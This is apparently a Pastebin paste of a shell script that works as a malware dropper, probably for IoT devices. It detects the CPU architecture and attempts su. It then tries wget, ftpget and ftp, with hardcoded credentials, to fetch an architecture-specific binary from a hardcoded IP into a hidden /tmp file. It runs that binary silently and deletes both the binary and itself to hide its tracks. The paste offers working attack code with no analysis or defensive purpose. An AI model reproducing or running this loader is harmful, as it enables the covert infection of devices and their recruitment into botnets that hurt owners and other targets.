Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- CMD="$(uname -m)"
- ID="$(id)"
- UNKNOWN="UNKNOWN"
- FILE_PATH="/tmp/.sessions-unixev"
- XT="0VsCfE5PwiBs"
- EOF="0VsCfE5EwOBF"
- sv="104.237.218.85"
- url="http://"$sv"/0"
- u="md"
- p="Lmtd1"
- po="404"
- line="\n"
- DEBUG=$1
- silent() {
- if [ "$DEBUG" = "-d" ] ; then
- "$@"
- else
- "$@" > /dev/null 2>&1
- fi
- }
- get_su() {
- case "$ID" in
- *"uid=0"*) echo "ROOT" ;;
- *) su ;;
- esac
- }
- func_gi() {
- case "$CMD" in
- *"armv4t"*) echo "1" ;;
- *"armv4"*) echo "0" ;;
- *"armv5"*) echo "2" ;;
- *"armv6"*) echo "3" ;;
- *"m68k"*) echo "4" ;;
- *"mipsel"*) echo "7" ;;
- *"mips64"*) echo "6" ;;
- *"mips"*) echo "5" ;;
- *"powerpc"*) echo "8" ;;
- *"ppc"*) echo "8" ;;
- *"sh4"*) echo "9" ;;
- *"sparc"*) echo "10" ;;
- *"x86_64"*) echo "11" ;;
- *"i586"*) echo "12" ;;
- *"rlx"*) echo "5" ;;
- *) echo $UNKNOWN ;;
- esac
- }
- arm_group(){
- for i in 0 1 2 3
- do
- if [ "$i" = "$1" ]; then
- return 0
- fi
- done
- return 1
- }
- mips_group(){
- for i in 5 6 7
- do
- if [ "$i" = "$1" ]; then
- return 0
- fi
- done
- return 1
- }
- func_dae() {
- for k in 0 1
- do
- silent echo $1/$k
- for cmd in "wget" "ftpget" "ftp" "busybox wget" "busybox ftpget"
- do
- silent rm -f $FILE_PATH
- case "$cmd" in
- *"wget"*) silent $cmd $url/$1/$k -O $FILE_PATH ;;
- *"ftpget"*) silent $cmd -u $u -p $p $sv -P $po $FILE_PATH 0/$1/$k ;;
- *"ftp"*) silent echo -e "open $sv $po\n user $u $p\n binary\n get 0/$1/$k $FILE_PATH\n bye" | ftp -pnv ;;
- esac
- if [ $? -eq 0 ] && [ -f "$FILE_PATH" ]; then
- break;
- else
- silent rm -f $FILE_PATH
- fi
- done
- silent chmod 777 $FILE_PATH
- silent $FILE_PATH
- if [ $? -eq 0 ]; then
- silent rm -f $FILE_PATH
- echo $XT
- return 0
- else
- silent rm -f $FILE_PATH
- fi
- done
- return 1
- }
- VALUE=$(func_gi)
- silent get_su
- if [ "$VALUE" = "$UNKNOWN" ]; then
- for i in 2 0 5 7 6 1 3 4 8 9 10 11 12
- do
- if func_dae $i; then
- break
- fi
- done
- elif arm_group $VALUE; then
- for i in $VALUE 2 0 1 3
- do
- if func_dae $i; then
- break
- fi
- done
- elif mips_group $VALUE; then
- for i in $VALUE 5 7 6
- do
- if func_dae $i; then
- break
- fi
- done
- else
- for i in $VALUE 2 0 5 7 6 1 3 4 8 9 10 11 12
- do
- if func_dae $i; then
- break
- fi
- done
- fi
- echo $EOF
- silent rm -- "$0"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement